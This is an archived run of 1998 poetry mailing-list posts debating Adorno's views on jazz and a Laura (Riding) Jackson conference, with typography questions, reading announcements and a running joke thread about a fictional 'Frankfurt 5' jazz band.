Jonathan, on my way to buy a new shoelace (having given up on used shoelaces) last Tuesday I found three pretty beat-up 78s in The Final Vinyl on the commons.

THe first was pretty cool: Lacan and the Frequent Polysyllables (with Harry Belafonte), featuring their soul-chilling cover of "The Frankfurt School Is Dead & Gone So Get Over It" (originally written by Zoe Stope of The Smalls). But you'll be most interested to learn I ALSO ran across "Adorno Adorno and the Frankfurt 5" and that it was in fact Merton on bass. TM actually wrote the second to last piece, "Addicted to the Passe." But you were right not to mention Adorno Adorno's foozled performance in the aesthetically perfidious "My Thought is Dated as the Glockenspiel," played on an outsized ocarina. THe poor guy. Anyway, the 78's worth about two bucks: you'd do better to just excise (sample) a few of his two dollar phrases and sell them piecemeal.

Gabe

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362. Pritchett,Patrick
Re: Jack Collom in Chicago
Mon 12 Oct 1998

To anyone on the List in Chicago -

This is rather late notice but... Jack Collom (of Naropa and parts elsewhere) will be in Chicago over Halloween weekend and is looking for a reading venue. Any help or suggestions would be most welcome. Please backchannel me.

Thanks,
Patrick Pritchett

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363. **Pritchett,Patrick**
Re: line breaks
Mon 12 Oct 1998

Ed Sanders' piece _is_ useful, Dale, and wonderful, besides. It can be found - with much else that is wonderful - in _Disembodied Poetics_ edited by Anne Waldman & Andrew Schelling, Univ of NM Press.

Patrick Pritchett

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364. **R.Gancie/C.Parcelli**
Re: The Frankfurt 5
Mon 12 Oct 1998

Merton on base?! This is an obviously uninformed &/or fraudulant remark. It reminds me of a statemant I overheard in my bookstore just yesterday. A gentleman leaned over to his wife and said: "Most of these books are over ten years old; they're out of date."---Carlo Parcelli

Gabriel Gudding wrote:
>
> On Mon, 12 Oct 1998, MAYHEW wrote:
>
> > I came across reference in an old discography to a recording by "Ted
> > Adorno and the Frankfut 5." According to my sketchy information this
> > featured Adorno on piano, Max Horkheimer on drums, and the plaintive
> > clarinet of Walt Benjamin on "Sweet Lorraine" and "What did I do to be so
> > black and Blue." No information available on the bass or trumpet. While
> > Horkheimer can swing somewhat, Adorno's playing is rather stiff, as
though
> > he couldn't quite get the rhythm down.
> >
> > Anyone have any information on these rare recordings?
>
> Jonathan, on my way to buy a new shoelace (having given up on used
> shoelaces) last Tuesday I found three pretty beat-up 78s in The Final
> Vinyl on the commons.
>
> THe first was pretty cool: Lacan and the Frequent Polysyllables (with
> Harry Belafonte), featuring their soul-chilling cover of "The Frankfurt
> School Is Dead & Gone So Get Over It" (originally written by Zoe Stope of
> The Smalls). But you'll be most interested to learn I ALSO ran across
> "Adorno Adorno and the Frankfurt 5" and that it was in fact Merton on

> bass. TM actually wrote the second to last piece, "Addicted to the
> Passe." But you were right not to mention Adorno Adorno's foozled
> performance in the aesthetically perfidious "My Thought is Dated as the
> Glockenspiel," played on an outsized ocarina. THe poor guy. Anyway, the
> 78's worth about two bucks: you'd do better to just excise (sample) a few
> of his two dollar phrases and sell them piecemeal.
>
> Gabe

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365. **Susan Schultz**

Re: "Our" Laura (Riding) Jackson

Mon 12 Oct 1998

To Eliz Treadwell and other interested parties:

The "Laura (Riding) Jackson and the Promise of Language" conference at Cornell, on Oct. 8-9 was edifying, provocative, stimulating, enjoyable, and, quite frankly, somewhat bizarre. The scholarly panels were, I thought, excellent, and the Cornell librarians had prepared fine displays, catalogues, and talks for us visitors. What struck me most keenly, however, was the sharp divide between the scholars (who approached (Riding) Jackson's work with ambivalent fascination, for the most part) and the members of the L(R)J estate and inner circle, who approached her and her work with what Jeanne Heuving described as "a posture of worship." And so Alan Clark, from the estate, spoke of "our Laura" as showing us "what it means to be a human being" and apologized more than once for "falling down from the Laura level" by quoting such as Whitehead, or for speaking as himself. He asked forgiveness for "all this appreciativeness" and reported that he himself had not read any poetry for over 25 years since LRJ had explained to him the great fault with that genre. Mark Jacobs claimed that LRJ was "the greatest poet of the 20th century" who showed us "where all the others went wrong" and can only really be considered alongside Shakespeare. The introduction to Elizabeth Friedmann's (the official biographer's) presentation mentioned that LRJ had "planted a kiss" on EF, which had sealed their friendship. Friedmann and the other Laura-ites asserted over and again that LRJ's critics write "grotesque parodies" of her, that she is "scorned and despised," that she, in Clark's words, "attracts covert meanness" (which Bernstein contrasted to "overt meanness"). The result of this split between scholarly and worshipful attention was a fascinating discussion at the end of the conference about the way in which to attract more attention to LRJ's work, a desire shared by everyone in attendance. Jeanne Heuving, Carla Billitieri, Charles Bernstein, Barrett Watten and others were most eloquent in telling the board that they could not expect universal reverence--that attention was, in fact, more likely

based on difference than on utter acceptance of her thinking. Suggestions were made to the board and to LRJ's publisher, Michael Braziller, on how to disseminate her work more widely (Braziller claims that her collected poems--now out of print--would sell 250 copies a year forever and ever, but no more), including the idea of packaging her poetry and prose in a single reader, since the poetry sells better than the prose. (This last fact doubtless bothers the board, which takes LRJ's renunciation of poetry so seriously that participants in the conference were informed beforehand that any material published on LRJ's work must include reference to that renunciation.) A few other participants in the conference said that they've experienced this split between skepticism and reverence before at conferences devoted to a single author, but I must say this felt like a baptism (religious and by fire!) for me.

Susan Schultz

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366. Charles Bernstein
Gottlieb/Cartelli @ Zinc Bar (fwrd)
Mon 12 Oct 1998

Listers:

Michael Gottlieb and Donna Cartelli will be reading in NYC at The Zinc Bar on Sunday, October 18th at 6:30 PM.

The Zinc Bar is located at 90 West Houston St.(just west of La Guardia Place).

Please come.

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367. louis stroffolino
Re: "Our" Laura (Riding) Jackson
Mon 12 Oct 1998

Speaking of L(R)J,
I hear that there is a negative assessment (review)
of her by "Our" Marjorie Perloff in the latest Parnassus---
is this true? Does anybody "possess" it?
----cs

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368. **charssmith**
Re: Gottlieb/Cartelli @ Zinc Bar (fwrd)
Mon 12 Oct 1998

relation to tom?

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369. **Edward Fristrom**
Re: The Frankfurt 5
Mon 12 Oct 1998

Mayhew may not have picked up on the Habermas and Marcuse because there is actually a limited release tribute out album floating around out there, performed by the downtown NY crowd. The album has the same title as the original Frankfurt 5 release, but is popularly known among Knitting Factory afficianadoes as "News for Adorno." The album features "deconstructed" performances (though most agree that deconstruction is a suspect & non-kosher term when applied to knitting factory jazz) of the original Horkheimer and Adorno scores. The album's uniqueness comes from producers Zorn and Gadamers decision to exclude all trumpet and bass lines, and drums on all but three tracks. Zorn claims says the new instrumentation draws our attention to the "surprising, often haunting lyrical" lines of Adorno and Benjermain. "Everyone who has tried to copy these cats in the past has focused exclusively on the grundwerk. We wanted to do something different."

Purists find the new anti-foundationalist approach frustrating, and frankly, even I find it difficult to follow the twisted ironies at the bottom of this american appropriation of a european appropriation of an american idiom. No one, however, thought of the album as anything other than "mildly interesting," however, until Jurgen "Hand Lotion" Habermas published a letter revealing how enraged the album made him. He took the recording as a direct snub to Marcuse and his contributions. "Everyone agreed I was the key. Bass was the basis. That's what they used to say. Now. . . what is this? How can people dance to it if it hasn't got a beat?" Bringing up the bad blood between himself and Gadamer (Gadamer's absconding with his fiancee in the Paris concert of 72, "and about a half pound of hash besides"), Jergen raised quite a stir. To this day, however, Zorn still suggests that the conflicts were blown way out of proportion. "They really have always had a deep appreciation for each others work, in spite of everything." Zorn was upset by Jergen's letter, because he never intended to upset Jergan. "I was a great fan of Old Lotion," Zorn admitts. "He was one of my idols when I was young." Zorn hopes that the album, even with its limited release, has helped to draw some new attention and fans to the original music of F5, "including Jergen and Marcuse of course."

(Rumor also has it that Zorn later made a concillatory gesture to Jergen by offering him the bass spot for a new project: the punk-hip-hop-klzermer revial band BLOODSUCKER". The band was to feature Bay Area turn table wizard Avitall Ronnell and screaming trance lyricist Diamanda Galas. To date, however, I have heard nothing on Jergen's reply or what happened to this project.)

> *MAYHEW wrote:*
>
> *I came across reference in an old discography to a recording by "Ted*
>
> *Adorno and the Frankfut 5." According to my sketchy information this*
> *featured Adorno on piano, Max Horkheimer on drums, and the plaintive*
>
> *clarinet of Walt Benjamin on "Sweet Lorraine" and "What did I do to be so*
> *black and Blue." No information available on the bass or trumpet. While*
> *Horkheimer can swing somewhat, Adorno's playing is rather stiff, as though*
> *he couldn't quite get the rhythm down.*
>
> *Anyone have any information on these rare recordings?*
>
> *Jonathan*
> *Jonathan. I actually own a copy of that old 78. I bought it at a yard*
> *sale at Whittaker Chambers' house in the 1966. Your info is generally*
> *accurate--Adorno on piano, Horkheimer on drums and Benjamin on clarinet.*
> *Benjamin's playing is highly original though I hear Sidney Bechet's*
> *influence. The quintet is rounded out by none other than Herbert Marcuse*
> *on trumpet and a youthful Jurgen Habermas on base. Its a live gig, rare*
> *for those days and takes place in the Hollywood Hills at the same house*
> *in which Art Tatum made his famous recordings. The groups real name was*
> *the School for Social Research Five but Adorno's playing was so far*
> *ahead of its time that the producers of the recording, Fugitive Records,*
> *changed the band's name. I disagree with your assessment of Adorno's*
> *playing. He sounds like Lenny Tristano decades before the great west*
> *coast pianist made the scene. This may account for the stiffness rap.*
> *His rhythmic 'dialectic' with his drummer, Horkheimer, is inspired if*
> *not 'enlightened'. The group disbanded shortly after this gig,*
> *apparently for financial reasons, and this may explain some of Adorno's*

> *bitterness toward jazz and the American listening public in general.---Carlo Parcelli*

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370. **R.Gancie/C.Parcelli**
Re: Adorno & Jazz
Mon 12 Oct 1998

Herb Levy wrote:
>
> I've been in & out of town enough in the last month to have missed
> responding to the early stages of this thread. I'm a little hesitant to
> enter into a "discussion" that seems to be rapidly descending to the level
> of ad hominem attacks, but I have a few things to say that might clarify
> Adorno's position on jazz.
>
> Adorno's critique of jazz has several roots. It's now relatively easy to
> counter, or at least to call into question, his analyses of popular culture
> having little or no political efficacy. (&, while it's easy to come up
> with these counter arguments, it's hard to imagine that they'd sway Adorno
> very far from his stance.) But that's just a part of Adorno's problem with
> jazz. The critique that's far more difficult to deal with has to do with
> the kind of musical complexity that was useful & important to him.
>
> There've been one or two folks who said things along the lines of "If
> Adorno had heard Charlie Parker or John Coltrane or Cecil Taylor (or
> whoever), he would have thought differently about jazz." This is basically
> wishful thinking that can be easily dismissed by looking at Adorno's
> overall analysis of classical music.
>
> His sense of what's important there is based on a historical model of
> harmonic complexity increasing until it's finally replaced by Schoenberg's
> twelve-tone system, a functionally aharmonic method of organizing pitches.
> While bebop is more complex harmonically than most pre-WWII jazz, in terms
> of classical music history, this increase in complexity is roughly
> equivalent to a move from Mozart's harmonic world to say, Brahms' or maybe
> Wagner's. In other words, it's still far below the radar of what Adorno
> found interesting.
>
> As to the later avant garde jazz, there are similar problems. With the
> exception of a few third stream pieces, very little of this music
> approaches what he was interested in, much of this work is harmonically

> modal as that term is used in jazz. Rhythmic complexity didn't interest
> Adorno, timbral innovations (funny noises) didn't interest him. Virtually
> every defining characteristic of modernist and avant garde jazz was
> entirely irrelevant to Adorno's understanding of what was progressive in
> music.
>
> Adorno was a hardliner on this, music was his own primary artform, and no
> amount of fudging on what he might of thought of various artists he may or
> may not have ever heard, can alter where he drew the line on this aesthetic
> issue. If you have a problem with it, you just have to consider it an
> irreconciliable difference. Surely you all know people with whom you share
> intellectual interests but with whom you have aesthetic differences (and
> vice versa), right?
>
> Bests,
>
> Herb Levy
> [redacted]

Nicely done.---C. Parcelli

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371. **MAYHEW**

Re: Adorno & Jazz

Mon 12 Oct 1998

Herb Levy's post on this issue is thoughtful and should be commended for the light it sheds on this issue; I do wonder about phrases like "below his radar" and "funny noises" and "his primary art form." I guess if it's put into terms of "what's interesting to him" you have to leave the issue alone. HE's not into rhythmic complexity, improvisation, etc...

But the issue, for me, is not that he didn't find jazz progressive or compelling (who cares if he did?) but the high-handed arrogance of his critique, its apri-oritism and dogmatism. I might have friends who disagree with me, but I try to avoid condemning things I don't understand and expect the same of my friends if they are to remain such.

I enjoyed Susan's post about "Lauralotry" in the Riding (Jackson) conference. Reminds me of a song I could hum for you in another medium "Laura / but she's only a dream" etc...

Jonathan

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372. **R.Gancie/C.Parcelli**
Re: Adorno & Jazz
Mon 12 Oct 1998

Actually, this reminds me a little of the problem of dealing with Pound
and his much graver 'sin' of anti-semitism which, of course, transcends
questions of mere taste or cultural exegesis. Do you throw the Canto's
out because of their and his ugly association?
Adorno was not a bigot. That Adorno would not be moved on the jazz
'score', even if you supplied jazz pieces that fit Herb's/Adorno's
theoretical criteria, Adorno would never have altered his postion. I
covered all of this in earlier posts. And as I stated in my earlier
posts, I'm willing to accept Adorno at face value and I find continuing
value in much that he has done.---Carlo Parcelli
Herb Levy wrote:
>
> I've been in & out of town enough in the last month to have missed
> responding to the early stages of this thread. I'm a little hesitant to
> enter into a "discussion" that seems to be rapidly descending to the level
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> every defining characteristic of modernist and avant garde jazz was
> entirely irrelevant to Adorno's understanding of what was progressive in
> music.
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> Adorno was a hardliner on this, music was his own primary artform, and no
> amount of fudging on what he might of thought of various artists he may or
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> issue. If you have a problem with it, you just have to consider it an
> irreconciliable difference. Surely you all know people with whom you share
> intellectual interests but with whom you have aesthetic differences (and
> vice versa), right?
>
> Bests,
>
> Herb Levy
> [redacted]

↑ Index

373. **Lawrence Upton.**
(no subject)
Mon 12 Oct 1998

Writers Forum announces the publication of the two latest pamphlets in the series Domestic Ambient Noise.
Cobbing, Bob & Upton, Lawrence; Trans Mission; ISBN 0 86162 833 0; Writers Forum, October 1998; £1.00 plus p & p
Upton, Lawrence & Cobbing, Bob; Daffy sees the light; ISBN 0 86162 834 9; Writers Forum, October 1998; £1.00 plus p & p
Send orders, and enquiries with return postage, to New River Project, Downstairs 89a Petherton Road, London N5 8QT

Apologies for unavoidable cross-posting

_____ Lawrence Upton's website: http://members.spree.com/sip/lizard/

↑ Index

374. **Herb Levy**
Re: Adorno & Jazz
Mon 12 Oct 1998

I've been in & out of town enough in the last month to have missed responding to the early stages of this thread. I'm a little hesitant to enter into a "discussion" that seems to be rapidly descending to the level of ad hominem attacks, but I have a few things to say that might clarify Adorno's position on jazz.

Adorno's critique of jazz has several roots. It's now relatively easy to counter, or at least to call into question, his analyses of popular culture having little or no political efficacy. (&, while it's easy to come up with these counter arguments, it's hard to imagine that they'd sway Adorno very far from his stance.) But that's just a part of Adorno's problem with jazz. The critique that's far more difficult to deal with has to do with the kind of musical complexity that was useful & important to him.

There've been one or two folks who said things along the lines of "If Adorno had heard Charlie Parker or John Coltrane or Cecil Taylor (or whoever), he would have thought differently about jazz." This is basically wishful thinking that can be easily dismissed by looking at Adorno's overall analysis of classical music.

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Bests,

Herb Levy
[redacted]

↑ Index

375. Charles Alexander
Re: space between words
Mon 12 Oct 1998

At 04:17 PM 10/14/98 -0400, you wrote:
>The word is KERNING.

OK, but this still isn't the space between words.

> *Kern \Kern\, v. t. [imp. & p. p. Kerned; p. pr. & vb. n. Kerning.] (Type Founding) To form with a kern. See 2d Kern.*
>
> *kerning*
>
> *The process of reducing the spacing between certain pairs of letters to improve their appearance.*
>
> *Lines, for me, are breaths. Poetry imposes a slower reading than prose.*

sometimes, OK -- but have you heard Tom Raworth read? Or Miles Champion? Not that most people would read their work, from the page, as fast as the authors read it -- but it certainly wouldn't be wrong to do so. And I don't know that, just because something is "poetry," it "imposes" anything at all in terms of the reading.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

376. Anthony Lawrence
Blumenthal
Mon 12 Oct 1998

what's Michael Blumenthal up to these days, poetry-wise?

best

Anthony

****

Anthony Lawrence
Po Box 75
Sandy Bay
Tasmania 7006

↑ Index

377. **Melanie Bookout**

Re: Adorno & Jazz

Mon 12 Oct 1998

Well done.

To you both.

M. Bookout

At 07:34 PM 10/12/98 -0400, R.Gancie/C.Parcelli wrote:
>Actually, this reminds me a little of the problem of dealing with Pound
>and his much graver 'sin' of anti-semitism which, of course, transcends
>questions of mere taste or cultural exegesis. Do you throw the Canto's
>out because of their and his ugly association?
>Adorno was not a bigot. That Adorno would not be moved on the jazz
>'score', even if you supplied jazz pieces that fit Herb's/Adorno's
>theoretical criteria, Adorno would never have altered his postion. I
>covered all of this in earlier posts. And as I stated in my earlier
>posts, I'm willing to accept Adorno at face value and I find continuing
>value in much that he has done.---Carlo Parcelli
>Herb Levy wrote:
>>
>> I've been in & out of town enough in the last month to have missed
>> responding to the early stages of this thread. I'm a little hesitant to
>> enter into a "discussion" that seems to be rapidly descending to the level
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>> intellectual interests but with whom you have aesthetic differences (and
>> vice versa), right?
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>> Bests,
>>
>> Herb Levy
>> [redacted]
>
>

↑ Index

378. Duane Davis
Re: "Our" Laura (Riding) Jackson
Mon 12 Oct 1998

Quite true and, as one would expect from "our" Marjorie, quite well done: there are a number of glancing blows to the poetry but in the main the attack is directed at the post-poetry L(R)J and her desire for a language of one to one relations...

This issue of Parnassus also includes a grumpy assessment by Ross Feld of the various vices and minor, in his opinion, virtues of Perloff's Wittgenstein's Ladder... In the same essay Feld beats up pretty hard on Rothenberg's Poems For The Millennium but saves his roundhouse punches for Bernstein's A Poetics. Reading it over rather quickly it appears to be the same old same old and I can't imagine any minds being changed on one side or the other: Feld shows he is reasonably well read, can come up with an interesting reference/quote when the need arises and knows how to make sure this issue of Parnassus is the required twelve pages longer than it would have been without him.

Duane Davis

-----Original Message-----
From: louis stroffolino <[redacted]>
To: [redacted] <[redacted]>
Date: Monday, October 12, 1998 2:33 PM
Subject: Re: "Our" Laura (Riding) Jackson

> *Speaking of L(R)J,*
> *I hear that there is a negative assessment (review)*
> *of her by "Our" Marjorie Perloff in the latest Parnassus---*
> *is this true? Does anybody "possess" it?*
> *----cs*

↑ Index

379. A. Jenn Sondheim
See Jennifer Run (fwd short version)
Mon 12 Oct 1998

-

See Jennifer Run

BREATHING JENNIFER in antique Netscape version .96 beta, bones and chiasm across time and protocol, special re-edit. Consider space as constituted encryption; read Jennifer breathing. See Jennifer breath. See Jennifer run. "JENNIFER FALLS APART." ==========

BREATHING JENNIFER

function zz() {document.bgColor="black"}

JENNIFER-BODIES AND THEIR CHARACTERISTICS Jennifer1 = new Jennifer("female ", "inhale ", "spurt", "cut ", "your_voice "); Jennifer2 = new Jennifer("male ", "exhale ", "spurt", "suture ", "your_voice ");

{document.bgColor="black"; document.write("My panties on the ground are wet with elements and planets.") } // THE CONCEALMENT OF LOVELIES AND HIDDEN DOCTRINE if (j == 9) {document.write(Jennifer9.milk + Jennifer4.suture_and_surgery + "

" + "JENNIFER INHALES" + "

")} else {document.write("

" + "JENNIFER EXHALES" + "

")} if (j % 3 == 0) {document.write("

" + "JENNIFER FALLS APART" + "

")}

JENNIFER YOU JENNIFER JENNIFER

↑ Index

380. **Lisa Samuels**

"our" laura (riding) jackson

Tue 13 Oct 1998

susan has the scoop on the recent l(r)j conference. that split between Board Members and academics-who-sometimes-write-on-laura reminded me of how the charismatic christians i used to know felt when they were in a group of savvy non-believers. pained and baffled. it would have been more touching if The Board wasn't in charge of estate materials. like susan, this was my first single-author conference experience, though i've heard of them in the past. but since the Board was feeling all the overboard commitment to laura, it made everyone else, i think, able to be pretty skeptical about any author's claims to interpretive priority over their work as well as to claims of non-comparability. and as susan said, amidst this strangeness there were good papers: steven meyer on stein-riding correspondence, susan's own challenge to charles b's anti-introduction/response to =rational meaing=, barry watten's readings of riding's negativities, carla billiteri's pointing out riding's "controlled dialogue" in =progress of stories=. and more. it was the kind of gathering that made me think of why

people say the things they say about authors and their works, the metaphors they find to explain them, the matters they find key. that made it interesting.

lisa samuels

↑ Index

381. louis stroffolino
Re: "our" laura (riding) jackson
Tue 13 Oct 1998

Susan has A scoop on the l(r)j conference, as does Lisa, and as do "I" (for my part I have too many scoops to go into anykind of 'review' here---I had a lot of great conversations, met alot of interesting people, many of whom were not necessarily of either of the camps of which l and s speak, and was more intellectually stimulated than i had been in some time...) I may be taken as an apologist for the "other" (board member) camp (though i enjoyed lisa, carla b's, etc. papers, and the way barry watten pronounced "the great much") but if i may claim interpretive priority concerning my own "stance" i do not think such is the case, even if i argue that i don't think i'm any more (to quote lisa s.) "skeptical about any author's claims of interpretive priority over their work as well as to claims of non-comparability" than i am of writers who claim to absolutely deny such claims, and be professed champions of the aleatory. As for non-comparability, I guess I think of Bloom's statement that instead of Freudian readings of Shakespeare there should be Shakespearean readings of Freud, and if I were to apply that comment to the question of L(R)J, I would perhaps "occupy" a "position" (or a reading of riding's "intent"--which is not absolutely singular, though it seems to be at times) that would allow for comparability, or at least comparisons with other writers, but instead of say Watten's Zizekian reading of Riding one would have a Ridingian (oh no, I'm "ding donging") reading of Zizek, for instance. I think Riding was far more critical of those who SUBORDINATED poetry to theoretical grids than those who would compare her thought and writing to others. She herself compares her thought to others, if all comparison is also contrast, whether explicit or not.
--------cs

On Mon, 12 Oct 1998, Lisa Samuels wrote:

> *susan has the scoop on the recent l(r)j conference. that split between Board Members and academics-who-sometimes-write-on-laura reminded me of how the charismatic christians i used to know felt when they were in a group of savvy non-believers. pained and baffled. it would have been more touching if The Board wasn't in charge of estate materials.*
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>
> *lisa samuels*

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382. **Mark DuCharme**

Re: word breaks

Tue 13 Oct 1998

Isn't the term pica? It's often used in the plural though, as a measurement of the space. Or is there another term?

Mark DuCharme

>is there a term, from typesetting or elsewhere, for the space between
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>
>bill(x)marsh
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>William Marsh | PBrain | http://bmarsh.dtai.com
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>

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383. **david bromige**
The Frankfurt Funf--on trumpet :
Tue 13 Oct 1998

My resarch, Jonathan Mayhew, indicates that one Herb Marcus was on trumpet. My source was difficult to read--the paper had yellowed and the type begun to disintegrate--but it looks like the bass-player was Rick Froh or From. db3.

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384. **Douglas Oliver**
Re: ground base
Tue 13 Oct 1998

Mark Weiss helpfully points out that I was using the technical term "ground base" wrongly when talking about the evanescent concept of "neutral tune". It was muddling to have used it so impressionistically.

Doug

↑ Index

385. **Stephen Cope**
Re: Spicer washes lettuce while the infrastructure crumbles
Tue 13 Oct 1998

> *I have only one question, which is,*
> *okay, with respect to the idea that the ocean in this poem (the first poem in _Language_) figures "as an image of formlessness or chaos" ... it feels like that, but okay, even more, to me: I think of Thales, & wonder if this is water/liquid as primary in some way. There's that line (I didn't bring _Language_ to work with me today) a little later in the book "My house is in Aquarius" ... etc., etc.*

Gary,

I imagine that Spicer would've been aware of Duncan's use of water/flood in this primary sense (i.e. birth trauma etc.), but I don't know about it's being substratic in Thales's sense. If we were to speak of pre-Socratics, I'd mention Anaximinder and his "apeiron" as more along Spicer's lines, as Thales's water is that out of which everything is constituted, whereas "apeiron" is that from which everything comes, but from which it is also (importantly) distinct. I'm really speculating here, though, and would wonder if Spicer ever makes mention as Duncan, for instance, does) of pre-Socraticism in any such manner, or for that matter of the Babylonian/Egyptian roots of, what, 'aquamorphism'?

Actually, however, I wonder also what might happen in a reading of Spicer that deals with ocean and radio as sympathetic tropes (radio signal as that which is cast forth, like seaweed, from out of nowhere a la Cocteau). There seems a sense of ocean as primal static, a sort of undifferentiated semantic noise from which language (_Language_) is formed. I suppose if the static is conceived of as _accompanying_ the messages, then it does become substratic...?

Stephen

↑ Index

386. **Michael Magee**
Re: Adorno & Jazz
Tue 13 Oct 1998

Thanks for this Herb. It sets the terms a lot more clearly than my piqued responses. I'd simply add two things: 1) Ornette Coleman has a very sophisticated approach to improvised music which involves "a functionally aharmonic method of organizing pitches." You're right to say that Adorno wouldn't have given a shit but plenty of Schoenberg-inspired classical musicians and composers *did* give a shit and that suggests that Adorno's appreciation wasn't a mere impossibility. 2) To say "Rhythmic complexity didn't interest Adorno" is to suugest that we can remain somehow in the world of Adorno's purely aesthetic predilections, which of course we can't; certainly Adorno would never have let us get away w/ such claims to purely aesthetic, which is to say apolitical, motives. And while he wasn't a bigot per se, can such a west-centric philosophy/aesthetic completely avoid the charge of bigotry? I think that's worth considering.

-m.

According to Herb Levy:
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> vice versa), right?
>
> Bests,
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>
>
> Herb Levy
> [redacted]
>

↑ Index

387. **charles alexander**

Re: word breaks

Tue 13 Oct 1998

No -- pica IS a measurement of space, and a constant one. But a pica is far wider than word-spacing in 12-point type.

Why won't "wordspace" do just fine?

charles

At 10:27 PM 10/12/98 PDT, you wrote:
>Isn't the term pica? It's often used in the plural though, as a
>measurement of the space. Or is there another term?
>
>Mark DuCharme
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chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

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388. Elizabeth Treadwell
Re: "Our" Laura (Riding) Jackson
Tue 13 Oct 1998

Susan, Thank you for the report!!

How and where does Laura (R) J denounce poetry? Anyone have an exact quote?

Has anyone read The Word Woman?? I think its compelling and important.

And does this have to do w/ Perloff's blows to L(R)J's "search for a one on one correspondance"?

I find L(R)J's critique of R. Graves' The White Goddess quite INTERESTIN'.

Duane-- could you quote the glancing blow M. Perloff gibes to the poetry of L(R)J?

Is the publisher under constraint of the Estate not to publish the poetry? 250 cc per year seems great, right?

naively, perchance,
Elizabeth Treadwell

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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389. R.Gancie/C.Parcelli
Re: Adorno & Jazz
Tue 13 Oct 1998

Your right Michael. Adorno's position vis a vis jazz was Euro-centric. But even admirers and sympathizers such as Stravinsky, Bartok, Hindemith, Varese and Berio remain Eurocentric in their compositions. If someone claimed to have shaken that in the course of say one lifetime you could suspect them of being a phony. Read Adorno on Odysseus and the Sirens in Dialectic of Enlightenment and you'll get the full flavor of A.'s sympathy for the working man. But Adorno was, first, an intellectual and his critiques do not rise to empathy. Still people like me appreciaite his insights for what they are: non ego-centric attempts to address unjust conditions. Adorno's method was complex and for me, as

a resolute modernist, this suggests a rigor that carefully investigates
each statement that he works into his critical edifice.
As for the real danger of Euro-centrism; every Columbus Day my wife the
infamous R.[osalie] Gancie toys with putting a sign in the window of our
store that reads: "Just because it's Columbus Day, don't take anything
that doesn't belong to you."
That's the Euro-centrism that Adorno struggled against. That Adorno
couldn't see jazz as part of that struggle---well. Maybe, we should beat
up on that timid mediocrity Philip Larkin for a while; poetry's owm Rudi
Blesh.
Michael Magee wrote:
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> Thanks for this Herb. It sets the terms a lot more clearly than my piqued
> responses. I'd simply add two things: 1) Ornette Coleman has a very
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> > overall analysis of classical music.
> >
> > His sense of what's important there is based on a historical model of
> > harmonic complexity increasing until it's finally replaced by Schoenberg's
> > twelve-tone system, a functionally aharmonic method of organizing pitches.
> > While bebop is more complex harmonically than most pre-WWII jazz, in
terms
> > of classical music history, this increase in complexity is roughly
> > equivalent to a move from Mozart's harmonic world to say, Brahms' or
maybe
> > Wagner's. In other words, it's still far below the radar of what Adorno
> > found interesting.
> >
> > As to the later avant garde jazz, there are similar problems. With the
> > exception of a few third stream pieces, very little of this music
> > approaches what he was interested in, much of this work is harmonically
> > modal as that term is used in jazz. Rhythmic complexity didn't interest
> > Adorno, timbral innovations (funny noises) didn't interest him. Virtually
> > every defining characteristic of modernist and avant garde jazz was
> > entirely irrelevant to Adorno's understanding of what was progressive in
> > music.
> >
> > Adorno was a hardliner on this, music was his own primary artform, and no
> > amount of fudging on what he might of thought of various artists he may or
> > may not have ever heard, can alter where he drew the line on this aesthetic
> > issue. If you have a problem with it, you just have to consider it an
> > irreconciliable difference. Surely you all know people with whom you
share
> > intellectual interests but with whom you have aesthetic differences (and
> > vice versa), right?
> >
> > Bests,
> >
> >
> >
> > Herb Levy

> > [redacted]
> >

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390. **Mark Prejsnar**
Binary start forums
Tue 13 Oct 1998

All HL meant by saying that music was TA's "primary artform" is, that TA was trained as a musician and composer....Which he was. Nothing more sinister than that, i think, is intended by the phrase.

mellifluously,
mark p.

On Mon, 12 Oct 1998, MAYHEW wrote:

> *Herb Levy's post on this issue is thoughtful and should be commended for the light it sheds on this issue; I do wonder about phrases like "below his radar" and "funny noises" and "his primary art form." I guess if it's put into terms of "what's interesting to him" you have to leave the issue alone. HE's not into rhythmic complexity, improvisation, etc...*
>
> *But the issue, for me, is not that he didn't find jazz progressive or compelling (who cares if he did?) but the high-handed arrogance of his critique, its aprioritism and dogmatism. I might have friends who disagree with me, but I try to avoid condemning things I don't understand and expect the same of my friends if they are to remain such.*
>
> *I enjoyed Susan's post about "Lauralotry" in the Riding (Jackson) conference. Reminds me of a song I could hum for you in another medium "Laura / but she's only a dream" etc...*
>
> *Jonathan*

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391. **Andrew Rathmann**
Re: line breaks
Tue 13 Oct 1998

I found Douglas Oliver's thoughts quite interesting, but also somewhat confusing. He speaks of line breaks as though they could be "sensed" during a performance. But if you believe that poetry is a sonic art form, then line breaks (and hence, lines themselves) are just a notational convenience, meant to clarify, visually, the rhythm of the work. You might hear the rhymes and guess that that is

where the breaks fall, but that would just mean you're familiar with printers' conventions. Might not a given poem be lineated (that is, printed) in different ways, to call attention to different aspects of the rhythm? But such differences should not affect the sound of the poem when read aloud, or at least, not very much.

In general, I don't see how _variations_ in "performance" can be very useful guides when describing a poem's rhythm. They may help to reveal how different people articulate sounds, or their assumptions about poetic recitation, but do they really say anything about the poem in itself? And are actual variations all that great, even though machines may detect them? There will always be differences in performance--how could there not be? I think the idea of a "neutral music" diverts attention from the patterns of sound inhering in a poem--which I find difficult enough to understand.

Andrew Rathmann

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
e-mail [redacted]

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392. **Gabriel Gudding**
Ross Feld on Bernstein
Tue 13 Oct 1998

---

earlier Duane Davis wrote:

"In the same essay Feld beats up pretty hard on Rothenberg's Poems For The Millennium but saves his roundhouse punches for Bernstein's A Poetics. Reading it over rather quickly it appears to be the same old same old and I can't imagine any minds being changed on one side or the other...."
---------- I actually found Feld pretty plucky. What Feld specifically says about Bernstein follows:

1). "...Charles Bernstein, a sort of Clement Greenberg of the Language poets..."

2). "Bernstein is well-informed, jargony, willful, and impossibly self-important."

3). "(Reading him is like having Max Beerbohm's Enoch Soames rematerialize across the years.)"

4). "His essayistic style can be eerily like that of a corporate annual report's...."

5). "It was the novelist Dawn Powell who in her journals once noted that the avant-garde are usually would-be academics who, without enough wind in their sails, usually end up as stuffed shirts...."

